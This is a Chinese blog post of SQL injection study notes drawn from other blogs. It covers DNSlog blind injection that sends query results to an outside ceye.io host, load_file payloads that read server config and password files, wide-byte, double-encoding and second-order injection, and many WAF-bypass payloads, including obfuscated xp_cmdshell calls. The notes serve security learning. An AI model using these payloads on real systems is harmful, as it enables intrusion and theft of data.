20206月份sql注入学习总结

Dnslog盲注:

攻击者首先提交注入语句select load_file(concat(’\\’,‘攻击语句’,.XXX.ceye.io\abc)),concat()把执行结果语句和XXX.ceye.io\abc进行拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析,DNS服务器上的Dnslog就可以得到SQL注入结果,注入语句中的ceye.io,是一个开放的Dnslog平台,我们可以从平台获取到有关ceye.io的DNS查询信息

总结:
Dnslog盲注就是利用load-file()函数发起请求,使用Dnslog接受请求,获取数据的一种攻击方法

核心语法:
select load_file(concat(’\\’,(select database()),’.XXX.ceye.io\abc’)
通过对 “selecct databse()” 这一部分语句的构造,就能实现有回显的SQL注入。

转载:https://www.jianshu.com/p/d6788f57dba5

load_file()介绍

读/etc/init.d下的东西,这里有配置文件路径

?id=1' union select 1,2,load_file('/etc/init.d/httpd')

得到web安装路径

?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')

读取密码文件

?id=1' union select 1,2,load_file('var/www/html/xxx.com/php/conn.inc.php')

转载:https://www.jianshu.com/p/4de3e2677601

宽字节注入:

利用编码问题,进行攻击的一种方式,注入语句中的%df和数据库安全防护的‘/’组合成中文,从而绕过数据库安全防护

浅谈:https://blog.csdn.net/weixin_39934520/article/details/106223478
详细:https://blog.csdn.net/weixin_39934520/article/details/105968747

二次编码转义:

数据库基本都会有安全防护,进行语句判断,二次转义利用数据库只对语句检查一次的特性,把转义的语句和之后的语句再拼接出之前的意思。

例子:
用户输入【1%2527】=>php自身编码,%25转换成%【1%27】=>php未检查到单引号,不转义【1%27】=>遇到一个函数编码,使代码进行编码转换【1’】=>带入sql语句=>能注入

详细:https://www.cnblogs.com/Rain99-/p/10592772.html

二次注入:

使用条件:

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)

(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

(3)有数据取出点

归纳:
二次注入只对插入数据进行安全判断,但是数据存入数据库后,对数据的取出不进行判断。

详细:https://www.cnblogs.com/cute-puli/p/11145758.html

WAF绕过:

WAF是一个安全防护系统,数据包会先经过waf进行检测,如果通过再将数据包流给主机。

WAF身份认证阶段的绕过

伪造搜索引擎,修改User-Agent 适用于早期安全狗

伪造白名单特殊目录

有些WAF会判断请求是否为admin dede install等目录,如果是则不做拦截,比如

拦截:GET /pen/news.php?id=1 union select user,password from mysql.user
放行:GET /pen/news.php/admin?id=1 union select user,password from mysql.user

直接攻击源站

云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过。

WAF数据包解析阶段的绕过

编码绕过,这是最常见的方法之一,可以进行urlencode。

修改请求方式绕过

大家都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。还有就是参数污染,典型例子就是multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。

参数污染:

提供多个参数,利用不同浏览器不通的理解特性实行参数污染。

假设这个URL:http://www.xxxx.com/search.php?id=110&id=911

百度会理解成让百度搜索:110                 #选择了第一个参数,放弃了第二个参数。

雅虎会理解成让雅虎搜索:911            #选择了第二个参数,放弃了第一个参数。

谷歌会理解成让谷歌搜索:110 911         #两个参数同时选择。

主要的就是这三种情况了。

这主要是源于,不同的网站对处理参数的处理方式不同。

复参数绕过

拦截:GET /pen/news.PHP?id=1 union select user,password from MySQL.user
放行:GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

WAF触发规则的绕过

WAF在这主要针对一些特殊的关键词或者用法进行检测。绕过方法很多,也最有效。

特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接,例如

拦截:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
放行:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

注释包含关键字

在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。

拦截:GET /pen/news.php?id=1 union select user,password from mysql.user
放行:GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user

常见绕过WAF方法总结

大小写转换法

把大写的小写,小写的大写。比如:

SQL:sEleCt vERsIoN();

出现原因:在waf里,使用的正则不完善或者是没有用大小写转换函数。

干扰字符污染法

空字符、空格、TAB换行、注释、特殊的函数等等都可以。比如下面的:

SQL:sEleCt+1-1+vERsIoN /*!*/ ();`yohehe‍‍

‍‍SQL2:select/*!*/`version`();

出现原因:利用网站使用的语言函数特性来绕过waf的规则或者使用会无视的字符。

字符编码法

就是对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等等

SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)

‍‍‍‍XSS:rip>

出现原因:利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整。

转载:https://www.cnblogs.com/wjw-zm/p/11831537.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值